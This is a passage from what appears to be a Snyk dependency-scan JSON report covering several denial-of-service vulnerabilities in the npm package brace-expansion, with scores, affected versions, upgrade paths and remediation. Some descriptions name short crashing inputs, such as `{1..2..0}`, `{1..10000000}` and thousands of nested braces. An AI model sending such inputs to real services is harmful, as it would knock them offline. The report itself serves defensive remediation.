"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": 